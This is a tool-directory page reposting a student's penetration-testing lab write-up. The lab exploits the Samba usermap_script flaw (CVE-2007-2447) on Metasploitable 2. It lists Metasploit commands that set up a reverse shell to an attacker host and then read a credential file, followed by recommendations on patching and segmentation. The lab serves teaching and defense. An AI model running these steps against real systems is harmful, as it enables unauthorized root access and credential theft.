Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2 | Kitploit
Tools/GitHubGitHub/devinliggins14/smb-pentest-exploiting-cve-2007-2447-on-metasploitable-2
Privilege EscalationVulnerability AnalysisExploitationData ExfiltrationPost-ExploitationPenetration TestingCommand and ControlLearning & EducationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubdevinliggins14/smb-pentest-exploiting-cve-2007-2447-on-metasploitable-2

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

View Repository
1 year agoNot yet reviewed

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Description


This project documents my penetration testing engagement as part of the CMIT 386 course at UMGC. It focuses on exploiting the Samba SMB usermap_script vulnerability (CVE-2007-2447) on Metasploitable 2 using Metasploit from a Kali Linux attack VM. This proof of concept shows how a legacy vulnerability can lead to full system compromise, credential theft, and data exfiltration.

Vulnerability Overview

The vulnerability resides in the Samba service on port 445, where improper input handling in the username map script allows unauthenticated remote command execution. This provides attackers with root-level shell access if exploited.

Environment

Steps to follow

1. Launch Metasploit:

root@kitploit:~
msfconsole


Make sure both the attacker host and victim machine are booted and running.

2. Search for the exploit:

root@kitploit:~
search samba

3. Use the appropriate module:

root@kitploit:~
use exploit/multi/samba/usermap_script

4. Set required options:

root@kitploit:~
set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Execute the exploit:

root@kitploit:~
exploit

6. Post-exploitation commands:

root@kitploit:~
whoami
hostname
cd /redteam7/student3
cat mypass.txt

Reset Instructions

If the session hangs or breaks:

Reset Metasploit:

root@kitploit:~
# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole              

Key Takeaways

  • Legacy services like Samba 3.0.20 with usermap_script are highly vulnerable.
  • Exploiting this SMB vulnerability grants root shell access.
  • Critical data can be harvested with simple commands, demonstrating real-world risk.
  • This proves the necessity of patching, segmentation, and reducing service exposure.

Recommendations

  • Patch or decommission legacy systems immediately.
  • Implement strict network segmentation and firewall rules.
  • Limit SMB exposure to internal, authenticated users only.
  • Monitor logs for suspicious activity and lateral movement.

References

  • Metasploit Samba usermap_script
  • CVE-2007-2447 Details
  • Metasploitable 2 Exploit Index
Download Tool
ComponentDetails
Attacker VMKali Linux
Victim VMMetasploitable 2
Target Port445 (Samba/SMB)
Exploit Usedexploit/multi/samba/usermap_script
Credential Target/redteam7/student3/mypass.txt